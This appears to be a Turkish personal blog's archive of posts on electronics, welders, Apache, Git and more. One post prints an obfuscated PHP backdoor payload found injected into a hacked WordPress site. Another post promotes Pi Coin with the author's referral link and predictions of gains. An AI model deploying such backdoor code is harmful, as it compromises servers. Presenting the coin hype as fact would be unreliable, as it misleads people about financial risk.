Dikkat: Sahte İnvertör Kaynak Makineleri – 2

Daha önce burada sahte bir invertör kaynak makinesini incelemiştim. Şimdi de bunun yerine aldığım farklı bir invertör makinesinin inceliyorum. Bu cihazın markası ve modeli Mailtank MMA-400. Belirgin ayırt edici özelliği fiziksel boyutlarının çok ufak olması ve kendi taşıma çantası ile beraber gelmesi. Dış görünüşüne ait fotografı aşağıda görebileceğiniz invertör kaynak makinesi farklı marka ve model isimleri ile de satılıyor. Cihaz aynı cihaz.

Okumaya devam et “Dikkat: Sahte İnvertör Kaynak Makineleri – 2”

Youtube oynatma listesindeki tüm videoları bilgisayara indirin

Bir oynatma listesinde yer alan tüm video’ları indirmek için aşağıdaki adımları uygulayabilirsiniz.

  1. Bilgisayarınıza youtube-dl aracını indirin. Bu araç açık kaynak kodludur ve ücretsizdir. Komut satırında çalışır. Tüm işletim sistemleri için sürümü vardır. İşletim sisteminize uygun sürümü indirdiğinizden emin olun. Windows için indiriyorsanız, indirme sayfasında belirtilen ilgili servis paketinin sisteminizde yüklü olduğunu teyit edin.
  2. Windows+R tuş bileşimini kullanarak Çalıştır diyalog penceresini açın ve cmd yazarak komut istemcisini çalıştırın.
  3. Komut istemcisinde cd <dizin adı> komutunu kullanarak youtube-dl.exe dosyasının bulunduğu dizine gidin.
  4. İndirme istediğiniz oynatma listesinin adresini (URL) kopyalayın ve aşağıdaki gibi youtube-dl aracına parametre olarak verin.:
Okumaya devam et “Youtube oynatma listesindeki tüm videoları bilgisayara indirin”

Saldırı Senaryoları

Herkese Merhaba,

Münkün olan bazı saldırı yöntemleri ve bunlara karşı kendinizi nasıl koruyacağınız hakkında kısa açıklamalardan oluşan küçük bir liste oluşturdum. Yazıda son birkaç yılda tespit ettiğim bu bilgilerin anlaşılmasını sağlamaya çalışacağım. Şunu belirtmek isterim ki yazımda diğer bilgisayarlara saldırı düzenleme düşüncesi yoktur, zaten bu konu hakkında da çok fazla deneyime sahip değilim. Umuyorum ki okuyacağınız bu yazı bilgisayar saldırıları konusunda daha duyarlı olmanızı sağlayacaktır.

Okumaya devam et “Saldırı Senaryoları”

Dikkat: Sahte İnvertör Kaynak Makineleri

Geçen ay hepsiburada’dan bir invertör kaynak makinesi aldım. Burada satın aldığım makineyi görebilirsiniz. Insma adlı çinli satıcının dükkanında olan bu ürün kargo ve vergiler dahil yaklaşık 900TL’ye satılıyor. Malesef gelen ürün fabrikasyon şekilde (bilinçli olarak) üretilmiş bazı sahtelikler ve aldatmacalar barındırıyordu. Bir invertör kartı (PCB) sahte olarak nasıl üretilebilir aşağıda açıklamaya çalıştım. Bu bilgileri hepsiburada ile de paylaştım ürünü iade aldılar fakat ürünü satmaya devam ediyorlar. Bu açıkça Türk halkını kandırmaya yönelik, açıkça sahte olarak üretilmiş bir ürünü satmaya devam etmek suç olsa gerek ama duyarsız kaldılar. Er ya da geç bu ürünü kaldıracaklar, bundan eminim. Bu yazıyı yazmaktaki maksadım bu tarz ürünler konusunda tüketicileri bilgilendirmek.

Okumaya devam et “Dikkat: Sahte İnvertör Kaynak Makineleri”

İlginç bir PHP arka kapısı

Birkaç yıl önce Genius‘un sayesinde haberdar olduğum aşağıdaki kod hala daha (v7.2.x) çalışmakta. İlginç yanı short_tags etkin olmasa dahi çalışıyor. Daha ilginci ve hakkkında pek bilgi bulamadığım kısmı ise dinamik olarak yaratılan ve veri (data) olarak ele alınması gereken bir yapının PHP tarafından bir metod (function) olarak değerlendirilmesi ve çalıştırılması.

Okumaya devam et “İlginç bir PHP arka kapısı”

Zararlı bir PHP kodu (PHP Malware)

Eski bir wordpress plug’innin neden olduğu sızmada aşağıdaki kod php betiklerinin başına eklenmiş.

<?  $oO0="cr"."eat"."e_fun"."cti"."on";[email protected]$oO0('$x','ev'.'al'.'("?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$o0O("s7EvyCjg5cpM0yguKSrIL9ZQiQ92DQpzDYpW9wgJCYgPBfLiHd1d/ULUY3WU8vPTc1KT8kuUNDWrebk4M1ITU1KLNJRAKvUN9QwVjA0MFXzzy1JTFAJSi3IT81LzSnIqlTStkdT65CcnlmTm51kpZJSUFBRb6euXl5frpSUmp+YmFmcb5+ZZmuol5+cCNaVkpgI11vJy2dsBAA==");
Okumaya devam et “Zararlı bir PHP kodu (PHP Malware)”

Pi Coin: Geleceğin Kripto Parası

Kripto paralar dominant para birimi olan BitCoin’in $20.000’a ulaşması ile daha çok konuşulacağa benziyor. Bu yükseliş çok volatileli olsa da genel trendin son 10 yıldır yukarı doğru olduğunu görmek için finans uzmanı olmaya gerek yok. Çoğu kişinin kripto paralar ile tanışmadığını düşünürsek; kripto paraların bilinirliği arttıkça bu trend çizgisi artan bir ivme ile yükselmeye devam edecek gibi gözüküyor. Şuan oldukça sınırlı bir kitle tarafından kullanılan ve bilinen kripto paraların geleceği oldukça parlak. Buradan kripto paraların aylara ve yıllara göre değişimini görebilir piyasa hacimlerine göz atabilirsiniz. 2020 itibari ile 1 tirilyon dolara yaklaşan bir hacim söz konusu.

Bu yazıyı “zararın neresinden dönülse kardır” düşüncesi ile yeni bir kripto para projesi olan Pi Coin hakkında geç kalmış bir haber olarak yazıyorum. Pi Coin şuan herhangi bir borsa da işlem görmeyen ve tüm alt kripto para birimlerinin geçirdiği gibi bir proje sürecinde. Fakat diğer tüm kripto para birimlerinden farklı olarak 2020 sonu itibari ile geldiği nokta geleceğinin çok parlak olduğunu düşündürüyor. Bu özelliğini kullanıcı sayısının kısa sürede 10.000.000 (on milyon)’un üzerine çıkmasına borçlu olduğunu düşünüyorum. Bu özelliği ile şimdiye kadar kripto paralar ile tanışmamış ve işlem yapmamış büyük bir kitleyi barındırmasından ötürü farklı bir öneme sahip. Şimdiden bu kullanıcılar arasına katılarak yakın gelecekte (tahminlerime göre birkaç yıl sürecektir) önemli bir maddi kazanca sahip olma şansınız var.

Eğer akıllı bir telefona sahipseniz Pi Network’e üye olup hiç bir yatırım ve harcama yapmadan para kazanmaya başlayabilirsiniz. Bunun için Pi Network uygulamasını yükleyerek 24 saatte bir uygulamadaki kazmaya devam et düğmesine tıklatmanız yeterli.

Uygulamayı kullanabilmeniz için birisinin size referans olması gerekiyor. Doğrudan üyelik kabul edilmiyor. Pi Network’ün bu kadar büyük bir kitleye yaygınlaşmasının nedeni de işte bu; referans sistemi ile yayılma ve yayılmayı teşvik etme. Bir referans ile üye olarak kazmaya başlıyor ve kazma hızınızı artırmak için rehberinizdeki tanıdıklarınıza kendi referans kodunuz ile uygulamayı yüklemelerini sağlamanız gerekiyor. Her eklediğiniz kişi saatlik kazma hızınızın $0.08 pi artmasını sağlıyor. Eğer böyle bir referansa koda sahip değilseniz ve ileride kripto para borsalarında listelenmeye başladığınızda birikiminizi nakite çevirmek istiyorsanız aşağıdaki referansı kullanabilirsiniz. Uygulamayı yükledikten sonra tanıdıklarınızı da kendi referans kodunuzla davet edebilirsiniz.

https://minepi.com/enseitankadl

Pi Coin Ponzi ya da bir tür “saadet zinciri” mi?

Değil. Saadet zincirinde sisteme girerken bir mebla yatırır ve üye olursunuz. Size referans olan kişi de bundan bir pay alır. Benzer şekilde sizde sisteme dahil ettiğiniz kişilerin yaptıkları ödemeden pay alırsınız. Toplumun geneline yayılmış bir takas aracı olması iddiası ile var olan Pi Network projesinde böyle bir durum yok. Yani cebinizden para çıkması söz konusu değil. Amaç çok geniş kitlelere yayılarak bir para birimi olarak kabul görmesini sağlamak. Bu anlamda Pi Coin’in ileride maddi bir değer arz edebilmesi için yaygılaştırılması, daha fazla kişi tarafından kabul edilmesi ve benimsenmesi gerekiyor. Bir kripto paranın nasıl bir maddi değer arz edebileceği kafanıza yatmıyorsa buradaki ve buradaki kripto para birimlerinin dünyadaki onlarca borsada ne hacimde takas edildiğini inceleyin.

Günümüzde kullandığımız kağıt paralar da bu mantıkla işler. Normalde 100 dolarlık bir kağıt paranın kağıt olmasının ötesindeki değeri karşılılıklı mutabakattan kaynaklanır. Yani bu parayı alan da veren de ona bir değer addetmiştir. Lakin son 50 yıldır merkez bankalarının kontrolsüz ve denetimsiz şekilde para basıyor olmaları sistemi zorlayan en büyük tehlike. Şöyle düşünün bir ülkesiniz ve ülkenizi geliştirmek için sanayinizin temel ihtiyaç malzemelerinden biri olan çeliğe ihtiyacınız var. Fakat bu çeliği siz üretmiyorsunuz (ya da üretiminiz ihtiyacınızı karşılamıyor). Ne yapacaksınız çeliği olan bir ülkeden satın alacaksınız. Peki parayı nereden bulacaksınız? Son 50 yıldır yapılan bu ihtiyaç olduğunda para basmak, karşılıksız para basmak. Örneğin bir gecede tirilyonlarca dolar basan Amerika çinli çelik üreten bir işçinin 8 yerine günde 12 saat çalışmasına neden oluyor. Neyin karşılığında? Değeri üzerinde ortak mutabakata varılan para birimi ile. Benzer şekilde basılan bu parayı alan bankalarda 10 katına kadar kredi dağıtabiliyor.

Özetle açıklamaya çalıştığım bu örnekler ile şuan dünyanın içinde bulunduğu finans sisteminin geleceğinin parlak olmadığı bugünden başlayan bir süreçle The Great Reset adıyla bilinen yeni bir modele geçilmesi gerektiği aşikar.

Mevcut finans sitemindeki ana sorun merkez bankalarının para basması ve bu basıma hiçbir otoritenin müdehale edememesi. Son yılların meşhur kripto paralar konusu tam da bu konuya çözüm buluyor. Sınırlı bir kaynağa sahip ve sirkülasyonu kontrol eden bir otorite yok. Yani merkeziyetsiz. Kripto paranın değerini ve üretimini kripto para kullanıcıları belirliyor. Tabi buradaki bir handikap da elinde çok yüklü miktarda rezerv bulundurun kişi ya da kuruluşların kripto paraya yön verebilme ihtimali. Şuan ana kripto para ve alt kripto paraların borsalardaki dağılımına bakacak olursanız neredeyse tüm dünya vatandaşlarına ve coğrafyalarına homojen olarak yayılmış olması.

Bitirirken; kripto paranı daha da güçlü şekilde var olacağı önümüzdeki 10 yıllık süreçte birçok kripto para olgunlaşacak ve gelişimini tamamlayacak. Pi Coin bu paralar içinde öğrencilere, ev hanımlarına, yaşlılara ve aklınıza gelebilecek tüm demografik kitlelere ulaşmış ve ulaşma potansiyeli en yükse proje. Pi Network projesinin yegane amacı da bu sıradan insanlar için erişilebilir bir para birimi olmak. Şimdiden bu projeye dahil olarak gelecekte kullanacağımız/kullanmak zorunda olacağımız kripto para ağına giriş yapabilirsiniz.

https://minepi.com/enseitankadl

Referans olarak kullabileceğiniz kullanıcı adı enseitankadl sondaki harfin Türkçe selendirilişi “le” olan küçük “L” harfidir.

ÖNEMLİ: Uygulamayı Yükledikten sonra şu konuları gözardı etmeyin

Yakın gelecekte Pi Coin maddi değer arz etemye başlamadan önce potansiyel Pi Coin getirisinden yararlanabilmek için aşağıda yazdığım konulara dikkat etmelisiniz.

1) Uygulamaya bilgilerinizi tanımlarken isim ve soyad bilgilerinizi kimliğinizde gözüktüğü şekilde yazın.

2) Uygulamanın profil menüsündeki doğrulama sayfasından telefon numaranızı doğrulayarak hesabınızın size ait olduğunu kanıtlayın. Aksi takdirde Pi Coin bakiyeniz geçersiz olabilir. Hesabınızı doğrulamak için şunları yapın:

  • Uygulamanın ana menüsünden profil seçeneğine tıklatın.
  • Hesap doğrulama kısmından telefon numarasını seçin.
  • Doğrulama kodunun gönderileceği bir ülke seçin. (Hangisini seçtiğiniz önemli değil)
  • Pi Network uygulaması ürettiği bir sayısal kodu telefonunuzun sms göndericisini kullanarak sunucusuna gönderecek.
  • Mesaj sunucuya ulaştıktan kısa bir süre sonra telefon ile doğrulama seçeneğinin sağında yeşil renkli kontrol işaretini göreceksiniz.
  • Tüm yapmanız gerekenler bu kadar.

3) Facebook üzerinden de doğrulama yaparsanız cüzdanınız ile olan bağınızı kuvvetlendirmiş olacaksınız.

4) Siz de en az 3 kişiye daha referans olarak güvenlik çemberinizi oluşturmalısınız. Referans olduğunuz kişiler de bu başlıktaki işlemleri yapmalılar ki cüzdanlarındaki bakiyeleri ve size olan katkıları geçerli olsun.

Pi Coin Hakkında Yanlış Bilinenler

  • Pi ağına üye olurken kalabalık bir grubunun referansı kullanmak yeni üye olan kişiye bir katkı sağlamıyor. Bu yanıltıcı bilgiyi referans olan kişi yeni üye olacak kişileri etkilemek, grubunu ve dolayısıyla saatlik kazım hızını arttırmak için paylaşıyor. Yeni üyeler sadece referansını kullandığı kişiye katkı veriyor kendisine bir katkısı yok. Yeni üye olan kişi de Pi Network’ün ana amacı olan geniş kitlelere yayılarak kullanırlığını artırmak adına yeni üyeler davet etmeli. Mevcut üyenin davet ettiği her yeni üye saatlik kazım hızını 0.08pi arttırıyor. Yani referans kodu sadece sahibine katkı sağlıyor. Güvenlik çemberinizi 3 kazım periyodundan sonra kazandığınız katkıcı (contributer) ünvanı ile oluşturmaya başlayabilirsiniz.
  • Güvenlik çemberine eklediğiniz kişiler biriktirdiğiniz Pi Coin’i gerçekten elde edebilmeniz için tanıdığınız kişilerden oluşmalı. Eğer çemberinizdeki kişi kimlik doğrulamasını (ad soyad, telefon vb) yapamaz ise ondan kazandığınız Pi Coin’ler cüzdanınızdan çıkartılacaktır.
  • Pi Network’ün kazım hızı sabit değildir. Üye sayısı her 10’un katında yarıya düşer. Böylece sirkülasyondaki Pi Coin miktarı sınırlandırılarak birim değerinin arttırılması amaçlanır.
  • Pi Network’ün tam olarak ne olduğunu ve nasıl çalıştığını öğrenmek için başkalarının söylediklerine itibare etmeyin buradan white paper’ını inceleyin.

PCB’de YOL KALINLIKLARI VE CLERANCE DEĞERLERİ

PCB çizimine yeni başlayan herkesin aklına gelebilen bazı sorular vardır. En önemlilerinden biri de iletken yolu (Trace) çizimidir.

Peki iletken yolu (Trace) çizerken kullanması gereken kalınlıklar ve diğer iletkenler ile arasında olması gereken minimum boşluk (Clearance) ne olmalı?

Öncelikle iletken yolumuzun taşıma kapasitesini nasıl bulabileceğinizi açıklamaya çalışalım. Elektronik endüstrisinde genel kabul görmüş PCB tasarım standardı IPC-2221 (Rigit PCB’ler için)’dir. Akım taşıma kapasitesi için referans alınacak nokta IPC-2221B standardındaki 6.2 kısmıdır. Burada iç ve dış katmanlardaki bakır iletkenlerin taşıma kapasiteleri için formüller tanımlanmıştır. Bu formüllerden sonuç almak için izin verilen sıcaklık artışı, yolun uzunluğu, k sabiti vb. değerler de gerekir.

Buradaki formül şu şekildedir. Detaylı bilgi IPC-2221B standardında bulabilirsiniz.Trace Genişlik (W) = Trace Alan / (Bakır Kalınlık (T) [oz] * 1.378 [mil / oz])Trace Alan [mil ^ 2] = (Akım [Amper] / (K * (Sıcaklık_Artışı [° C]) ^ B)) ^ (1 / C)İç Katman – K sabiti = 0.024, B =0.44 , C=0.725Dış katman – K sabiti= 0.048, B =0.44 , C=0.725

Minimum boşluklar konusuna gelince bunun içinde IPC2221-6.1 tablosu kısmını referans olarak kabul edebilirsiniz. Burada paylaşılan bilgilere göre minimum izolasyon boşlukları ayarlayabilirsiniz. Unutmayalım ki burada amaç PCB üretilebilirliği değildir, amaç devremizin elektriksel izolasyon açısından yüksek performans ile çalışmasını sağlamaktır. Clearance ve Creepage olarak adlandırılan iki kavram bulunuyor. Biz şu an Clearence kısmına odaklanıyoruz.

Başlarda akım taşıma kapasite için referans alınan kaynak, IPC-2221B de(akım, sıcaklık artışı, enine kesit arasındaki ilişki) standart bir dizi grafik özetlenmişti. Daha sonra bazı faktörleri ve olasılıkları göz önüne aldığımızda bu sonuçlar her tasarım için geçerli olmayabileceği görüldü. Bu sebepten yeni bir çalışma ile IPC-2152 standardı termal iletkenlik, vialar, malzeme ve kalınlığın akım, kesit bakır ağırlığı ve sıcaklık etkisini üzerine çalışmalar yapıldı ve günümüzde IPC-2152 artık daha önde gelen standart haline geldi. Bu standart ile daha iyi sonuçlar elde ediliyor lakin karşılık olarak karmaşık formül ve hesaplar ortaya çıkıyor. IPC-2152 karmaşık devreler için gerekli olabilir. Standart kartlarda IPC2221 uygulanabilir. Tercih sizin uygulamak istediğiniz seçime kalıyor. Devre ihtiyacınıza düşünerek güvenlik payı eklemeyi unutmadan her iki standart kullanarak çizimler yapabilirsiniz. İnternet üzerinde her iki türü için birçok ücretsiz hesaplama araçları bularak devrenize uygun sonuçlara hızlıca ulaşabilirsiniz.

Diğer bir standart olan IEC-60950-1 de güvenlik gereksinimleri belirler. Bunu referans almak isterseniz buradaki izolasyon güvenliği içinde bu standarda göz atmanızda fayda bulunuyor. Her iki standart da tercih ediliyor.

Kaynak: https://cdn.ozdisan.com/journal/202005/COMPONENT_Sayi_13.pdf

Raspberry Pi Kitabım Çıktı

Uzun ve yorucu bir çalışmanın sonunda “Raspberry Pi ile Linux ve Elektronik Uygulamaları” isimli kitabım kısa bir süre önce okuyucuları ile buluştu.

Birçok yabancı ve yerli kaynağın bütünlüklü şekilde bir arada ele alındığı kitabın Raspberry Pi ile onun Linux ve elektronik uygulamaları konusundaki Türkçe kaynak eksikliğini gidereceğini temenni ediyorum.

Kitabın içeriğini ve hakkındaki soruları tanıtım sitesi olan www.raspberrypikitabi.com adresinden detaylı olarak inceleyebilirsiniz.

Sponsorlar sayesinde kitabı ücretsiz olarak temin etmek de mümkün olacak, bunun için gerekli şartları ve yapmanız gerekenleri SSS bölümünden kontrol edebilirsiniz.

Kitabın, ülkemizin geleceği olan çocuklarımızın yetişmesinde ve bilgiye erişiminin kolaylaştırılması adına fayda getirmesi temennisiyle.

Önsöz: http://www.raspberrypikitabi.com/onsoz/
İçindekiler:: http://www.raspberrypikitabi.com/icindekiler/
Sık Sorulan Sorular (SSS): http://www.raspberrypikitabi.com/sik-sorulan-sorular/

Röle Testleri: SONGLE SRD 05VDC-SL-C

Cidddi bir projede kullanmak üzere rölelerin hatalı çalışma/arızalanma durumunu sınamam gerekti. SONGLE SRD 05VDC-SL-C model röle için elde ettiğim sonuçları aşağıda paylaşıyorum. Deneyimlerimi özetlemem gerekirse; bu röle kapasitif özelliği olan (girişinde yüksek değerli bir kondansatör kullanılmış herhangi bir elektronik cihaz) yükleri anahtarlamak için uygun değil. Sayfanın sonunda paylaştığım röle teknik dökümanında (Relay Technical Information) görebileceğiniz üzere, kapasitif bir yük anahtarlandığında; başlangıç anında nominal akımının 40 katına, endüktif yük ise 10 katına kadar akım çekebilir. Tungsten flamanlı akkor lambalar da 10 katına kadar başlangıç akımı (inrush current) çekebilir. Aşağıdaki grafikler bu durumu gösteriyor. Ayrıca, rölelerin güvenilirliği ile ilgili detaylı bilgiyi kitabımın ilgili bölümünde bulabilirsiniz.

Çeşitli yüklerin başlangıç ani akımları (inrush current)

Test – 1: RÖLE SONGLE SRD 05VDC-SL-C

220v 100w ~1A ampül ile test ettim. Ampül röleye çok yakın olduğu için
röle 50 santigrat kadar sıcaklıkta çalıştı. Bu şekilde 150K’da yapışmaya başladı. Soğuttuğumda veya gövdesine vurduğumda paleti bırakıyordu.
Soğuttuktan sonra bir süre daha gidiyordu. Rölenin %50 zamanında açık kalması ve ısı kaynağından ötürü yorulduğu belli oldu.

Test – 2: RÖLE SONGLE SRD 05VDC-SL-C

6.3v 6600uF ile 0.5 sn. kısa devre 2.5sn. şarj 600K’dan fazla tekrarlatıldı.
Başarılı olan bu testi kendi isteğimle sonlandırdım.

Test – 3: RÖLE SONGLE SRD 05VDC-SL-C

32v 2200uF ile kısa devre testinde ilk denemede kontaklar yapıştı.

Test – 4: RÖLE SONGLE SRD 05VDC-SL-C

32v 1000uF ile kısa devre testinde ilk denemede kontaklar yapıştı.

Word kelime dizininin yazıcı çıktısında (PDF) güncellenmeme sorunu ve çözümü

Merhaba, MS Word dökümanınında işaretlediğiniz girdiler ile oluşturduğunuz dizin, yazıcı veya PDF çıktısında güncellenmiyorsa aşağıdaki ayarları kontrol edin.

Word seçenekleri (seçenekler) penceresine ulaşmak için araç çubuğundaki Dosya menü seçeneğine tıklatın.

Seçenekler->Gelişmiş->Yazdır->İzlenen değişiklikleri içeren alanların yazdırılmadan önce güncelleştirilmesine izin ver
Seçenekler->Görüntü->Yazdırma seçenekleri: Yazdırmadan önce alanları güncelleştir

Çalışanlar İçin 7 Patron Taktiği

  1. Eğer eleman cok çalışıyorsa, onu daha da çalıştırın. Çalışmıyorsa kovun. Eğer anlamsız işler yapıyor veya calışıyor gibi gözüküyorsa daha yüksek bir kademeye alın (Mesela kalite kontrol müdürü). Unutmayın ki, büyük işler başarmak için, büyük beyinler gereklidir ama herkes hatırlatıcı notlar yazıp, görev tanımlamaları yapabilir. Üst düzey yöneticilik, bu tür insanları koyabileceğiniz en güvenli yerdir. Böyle bir yarım beyinlinin sizi ameliyata almasını mı tercih edersiniz, yoksa hastanenin iç işleriyle uğrasmasını mı?
  2. Çalışanların motivasyonu cok önemlidir. T-shirt, sinema bileti, sertifika gibi ıvır zıvırları kullanarak onları motive etmeye calışın. Aslında bu şekilde motive olmazlar ama, bu hiç de önemli değildir. Siz üzerinize düşeni yapmış oldunuz. Ne yapabilirler ki? İstifa mı? Heh… Bırakın orta kademe yöneticiler uğraşsınlar. Gerçekten motive edici iki faktörü, ‘para ve iş güvenliği’ni kullanmadan ne yapabiliyorlarsa yapsınlar.
  3. Motivasyonun diğer önemli metodu da, ‘Sen benim için değerlisin.’ taktiğidir. Arada sırada çalışanlarınıza şu cümlelerden birini sarfedin:
    -Kafandaki büyük resmi benimle paylaş.
    -Fikrine ihtiyacım var.
    -Sana akıl danışmak istiyorum.
    Bunları söylerken sakın suratına gülmeyin. Zavallı çalışan bunları gerçek sanıp havaya girecek, böylece motivasyon olayında t-shirt parasından bile yırtacaksınız.
  4. Sık sık ‘toplam kalite’, ‘müşteri memnuniyeti’, ‘proaktiflik’, ‘sinerji’, ‘çalışan memnuniyeti’ gibi belirsiz şeylerden bahsedin. Bu kavramlara yabancı olanlar size hayranlık duyup, bu işi bildiğinizi sanacaklardır. Bu konuşmaların boş olduğunu düşünenler ise istifa edemeyecek kadar uzun süredir çalışıyorlardır.
  5. Son yılların en önemli yöneticilik buluşlarından biri de ‘performans görüşmeleri’dir. Bu görüşmelerdeki en önemli nokta, çalışanı kendine getirmektir. Bir şekilde kendine güveni artan çalışanı, bu yöntemi kullanarak tekrar uysal bir kediye çevirebilirsiniz. Konuşmaya başlangıç şekli şöyle olmalıdır: “Senden memnunum, çalışmalarını beğeniyorum.” Bu cümlenin ardından bulabildiğiniz her türlü şaibeli cümleyi kullanın. İçerik çok önemli değildir. “Bazı insanlarla aranda çekişmeler var.” veya “Giyim tarzını daha iyileştirebilirsin.” gibi. Eğer bu tür bir şey bulamıyorsanız, “Seni daha aktif görmek istiyorum. Çünkü bu potansiyel sende var. Bunu hissedebiliyorum.” kalıbını her zaman kullanabilirsiniz. Unutmayın ki amaç, çalışanın kafasını mümkün olduğunca karıştırmaktır.
  6. Maaş görüşmelerini üst düzey yöneticilerle birlikte yapın. Önemli olan bir toplantı düzenlemek ve bunu yaptığınız izlenimini uyandırmaktır. Böylece tüm yöneticilerin, çalışanlara “Eminim başka bir şirkette daha fazlasını kazanabilirsin, fakat genel zam politikası olarak şirket bunu benimsedi. Ben daha fazla zam alman için mücadele verdim fakat…” gibi bir şeyler söyleme şansı doğar. Böylece çalışanın size bağlılığı artarken, bu zammı da yutturmuş olursunuz. Bu yöntemi ortalama 4 zam dönemi yerler.
  7. Maaş konusundaki atakları savuşturmak için, DIE’nin açıkladığı enflasyon oranında zam yaptığınızı söyleyin. Nasıl olsa kimse bu oranı tam olarak bilmez. Eğer mesai isterlerse, performans görüşmesi yapacağınızı söyleyin. Görüşme için 5. maddeye bakın.
  8. Şirketin diğer şirketler gözündeki imaji da çok önemlidir. Bunu sağlamanın en kolay yolu, şirket çalışanlarına takım çalışması, sinerji, zamanı doğru kullanmak gibi konularda eğitim aldırmaktır. Korkmayın, bu eğitimlere hiçbir zaman katılmanız gerekmez. Çalışanlar ise mecburdur. Bu eğitimleri hafta sonuna alın ki, iş gücü kaybı engellensin. Bu olayı karşılaştığınız diğer şirket patronlarına da anlatıp hava atın. Herkes bunların ne kadar gereksiz olduğunu bilir ama, yine de işe yarar.

[access_compat:error] AH01797: client denied hatasının nedeni ve çözümü

Bu hata; Apache v2.4 üstüne güncellendiğinde yapılandırma dosyalarınızda kalan (.conf ve .htaccess’ler) Order ve ve Allow erişim kontrol yapılandırmalarının kaynaklanır. v2.4 sonrasında bu direktifler geçerli değil.

Apache yapılandırma dosyanızda (/etc/apache2/sites-available/000-default.conf) ve yayın dizinlerinizdeki .htaccess dosyalarında şunlar varsa:

Order allow,deny
Allow from all

silin ve şunu yazın:

Require all granted

Eğer şu satırlar varsa:

Order allow,deny
Deny from all

silin ve şunu yazın:

Require all denied

Yayın dizininizdeki muhtemel .htaccess dosyaların hepsini bulmak için yayın dizinine gidin ve şu komutu yazın:

find . -type f -name .htaccess

Basit Anlatımla: Git/GitHub Kullanımı

Baştan şunu söyleyeyim, programcılar ve bilgisayar kullanarak tasarım çalışmaları yapanlar açısından Git kullanmanın çok fazla avantajları var. Git, evvela geriye dönük olarak satır satır kod geçmişini tutuyor. Güzel bir backup ortamı sağlıyor ve aynı zamanda kodda geçmişte yaptığınız tüm değişiklikleri görebiliyorsunuz. Programlama haricinde çalışma yapanlar için de şu açıklamayı yapmakta fayda var; Git metin tabanlı bir kontrol sistemi. Git’i kullanabilmeniz için yaptığınız çalışmaların kaynak dosyaları metin tabanlı olmalı.

İyi bir yedekleme sistemi olduğunu söylemiştim. 10 yıl önceki bir projenizin kaynak kodlarını muhtemelen kaybetmişsinizdir. Git ile Github kullanmaya başlamak için şuan iyi bir zaman. Git şunları da yapabiliyor: Projenizi parçalara ayırarak geliştirebilir, bu parçaları başkalarına paylaştırıp bitiminde de birleştirebilirsiniz. Mevcut bir yazılım projesini github’a yüklemek, güncellemek ve gerektiğinde yeni bir geliştirme ortamına çekmek birkaç küçük komutla mümkün oluyor. Git ve Github’ın sağladığı daha birçok güzel özellik var. Git, esasında bir versiyon kontrol/yönetim sistemi. GitHub ise git işlevleri için bir nevi hosting ortamı sunuyor. Tabi GitHub’ı kullanmaya başladıkça çok daha fazla özelliğe sahip olduğunu görebilirsiniz. Github sahip olduğu branch, fork ve issue alt yapısı ile programcılar için sosyal bir ortamda sunuyor. Programcıların Facebook’u da denilebilir. GitHub’a alternatif olarak GitLab’da aynı mantıkla çalışıyor. Ana farkı ise GitLab’ı kendinize ait sunucunuza da kurabilmeniz. Proje dosyalarını GitHub sunucularında barındırmak istemeyenler ilk tercihi olabiliyor. Her iki servis de açık kaynak kod projeler ve öğrenciler için ücretsiz. Artık kodlarınızın her geliştirme adımının bir kopyasını ve ilelebet sağlam bir arşivini saklamaya başlamak istiyorsanız bu yazı size göre. Bu arada Git’in mucidi Linus Torwalds yani Linux’un babası.

Laf kalabalığı yapmayacağım felsefeye de girmeyeceğim. Ufak veya büyük kod yazan veya dijital ortamda fikir sanat ürünü metin tabanlı herhangi bir çalışma ortaya koyan herkes için git ve github’ın nasıl kullanılacağını faydalarını olağan bir konuşma diliyle anlatmaya çalışacağım.

Önce github.com’dan bir hesap açın. Diyelimki test-dev-ss963 adında bir projemiz olsun (illaki kodlama projesi olmasına gerek yok 3D tasarım da olabilir) ve projemizi de bilgisayarimizda aynı isimli bir dizinde saklıyor olalım. Şuan ortamımız Linux fakat Windows veya MacOS’da da komutlar ve kullanım kuralları büyük ölçüde aynı.

GitHub’a giriş yaptıktan sonra repositories (ayni depolar) sayfasına giderek New düğmesine tıklatın. Deposunu oluşturmak istediğiniz projenin adı sorulacak (repository name), hatırlamak kolay olsun diye aynı ismi buraya da girebilirsiniz. Dilerseniz (optional) bir açıklama yazabilirsiniz. Bence olabildiğince basit ve uzun açıklamalar yazmalısınız, bu ileride neyin ne olduğu konusunda fayda sağlayacak. Önemli bir ayar da projenin dışarıya açık mı yoksa kapalımı olacağı. Public seçerseniz projenin kaynak kodlarına herkes erişebilir, private yaparsanız sadece siz veya yetki verdiğiniz GitHub kullanıcıları erişebilir.

Create repository düğmesine tıklattıktan sonra aşağıdaki gibi bir sayfa gelecek. Aslında bu sayfadaki komutlar benim burada açıklamaya çalışacaklarımın çok güzel bir özeti mahiyetinde. Bu ekranda bizim için önemli olan ve daha sonra ihtiyacımız olacak olan git adresidir. Yeşil kutu içerisinde gözüken adres. Bu bizim uzak depo adresimiz (remote repo). Bunu bir kenara not edin veya kopyalayın.

Devam edelim, daha elimizde bir proje yok, kaynak kod da yok. Henüz yerel bilgisayarımızdaki dizin ile oluşturduğumuz bu depo (repo) ‘yu ilişkilendirmedik. Bu yazıda göstereceğim örnekte geliştirmesini yaptığım projenin kodları bir linux bilgisayarında test-dev-ss963 adlı bir dizinde duruyor. Dizinin tree komutuyla aldığım listesini aşağıda görebilirsiniz:

Şimdi ilk yapmamız gereken bir seferliğine git araçlarını işletim sistemimize yüklemek. Bu araçlar sayesinde yereldeki kaynak kodlarımızı github.com daki depomuza yükleyeceğiz, güncelleyeceğiz veye tam tersini yapacağız. git araçlarını yüklemek için aşağıdaki komutları verin:

[email protected]:~ $ sudo apt-get [email protected]:~ $ sudo apt-get install git -y

Şimdi test-dev-ss963 dizinine girerek (siz kendi dizininize girin) aşağıdaki komutu verelim. Bu komut ile git özelliklerini kullanabilmek için gerekli bir ortam oluşturulacak ve bu ortama ait tüm veriler .git adında yeni olusturulacak (başında nokta olduğu için Linux için gizli dizindir) bir dizinde saklanacak. Bu dizin kodlarımızdaki değişiklikleri takip edecek ve uzak depomuzla arada bir köprü vazifesi kurarak, tüm ayarları, kod geçmişini kısaca herşeyi saklayacak. Bu dizinde herhangi bir işlem yapmamıza gerek yok. Hatta gözünüz gibi bakarsanız çok da iyi olur.

git init

